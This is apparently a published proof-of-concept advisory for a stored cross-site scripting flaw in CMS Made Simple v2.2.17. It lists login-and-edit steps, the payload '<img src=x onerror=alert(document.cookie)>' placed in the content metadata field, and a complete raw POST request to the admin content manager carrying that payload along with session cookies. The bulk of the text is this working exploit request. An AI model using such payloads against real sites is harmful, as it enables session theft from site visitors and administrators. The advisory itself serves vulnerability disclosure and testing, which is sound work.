CmsMadeSimple v2.2.17 - Stored Cross-Site Scripting (XSS)

#Exploit Title: CmsMadeSimple v2.2.17 - Stored Cross-Site Scripting (XSS)
#Application: CmsMadeSimple
#Version: v2.2.17
#Bugs:  Stored Xss
#Technology: PHP
#Vendor URL: https://www.cmsmadesimple.org/
#Software Link: https://www.cmsmadesimple.org/downloads/cmsms
#Date of found: 12-07-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 

2. Technical Details & POC
========================================
steps: 
1. Login to account
2. Go to Content Manager
3. Add New Content
4. Type as '<img src=x onerror=alert(document.cookie)>' to metadata section

payload: <img src=x onerror=alert(document.cookie)>

5. Submit Content
6. Visit Content (http://localhost/index.php?page=test)

Request:

POST /admin/moduleinterface.php?mact=CMSContentManager,m1_,admin_editcontent,0&;__c=5c64b42fb42c1d6bba6&showtemplate=false HTTP/1.1
Host: localhost
Content-Length: 584
sec-ch-ua: 
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
sec-ch-ua-platform: ""
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: CMSSESSID852a6e69ca02=g13p5ucajc0v5tker6ifdcaso5; 34a3083b62a225efa0bc6b5b43335d226264c2c1=24f612918e7b1c1e085bed5cab82f2a786f45d5c%3A%3AeyJ1aWQiOjEsInVzZXJuYW1lIjoiYWRtaW4iLCJlZmZfdWlkIjpudWxsLCJlZmZfdXNlcm5hbWUiOm51bGwsImhhc2giOiIkMnkkMTAkLndYMkFFZnc4WTJlcWhhQVJ2LndZT1FVY09hTzMzeVlNYzVDU1V5NnFRQkxkeXJZNUozSTYifQ%3D%3D; __c=5c64b42fb42c1d6bba6
Connection: close

mact=CMSContentManager%2Cm1_%2Cadmin_editcontent%2C0&__c=5c64b42fb42c1d6bba6&m1_content_id=0&m1_active_tab=&m1_content_type=content&title=test&content_en=%3Cp%3Etest%3C%2Fp%3E&menutext=&parent_id=-1&showinmenu=0&showinmenu=1&titleattribute=&accesskey=&tabindex=&target=---&metadata=%3Cimg+src%3Dx+onerror%3Dalert(document.cookie)%3E&pagedata=&design_id=2&template_id=10&alias=&active=0&active=1&secure=0&cachable=0&cachable=1&image=&thumbnail=&extra1=&extra2=&extra3=&wantschildren=0&wantschildren=1&searchable=0&searchable=1&disable_wysiwyg=0&additional_editors=&m1_ajax=1&m1_apply=1